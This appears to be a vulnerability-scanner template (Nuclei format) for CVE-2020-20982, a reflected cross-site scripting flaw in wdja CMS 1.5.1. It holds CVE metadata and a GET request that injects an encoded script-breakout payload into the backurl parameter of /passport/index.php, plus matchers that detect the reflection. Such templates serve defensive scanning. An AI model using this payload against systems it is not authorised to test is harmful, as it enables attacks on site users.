id: CVE-2020-20982

info:
  name: shadoweb wdja v1.5.1 - Cross-Site Scripting
  author: pikpikcu,ritikchaddha
  severity: critical
  description: shadoweb wdja v1.5.1 is susceptible to cross-site scripting because it allows attackers to execute arbitrary code and gain escalated privileges via the backurl parameter to /php/passport/index.php.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/shadoweb/wdja/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2020-20982
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2020-20982
    cwe-id: CWE-79
    epss-score: 0.01894
    epss-percentile: 0.87165
    cpe: cpe:2.3:a:wdja:wdja_cms:1.5.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wdja
    product: wdja_cms
  tags: cve,cve2020,xss,wdja,shadoweb

http:
  - method: GET
    path:
      - "{{BaseURL}}/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "location.href='</script><script>alert(document.domain)</script>"
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

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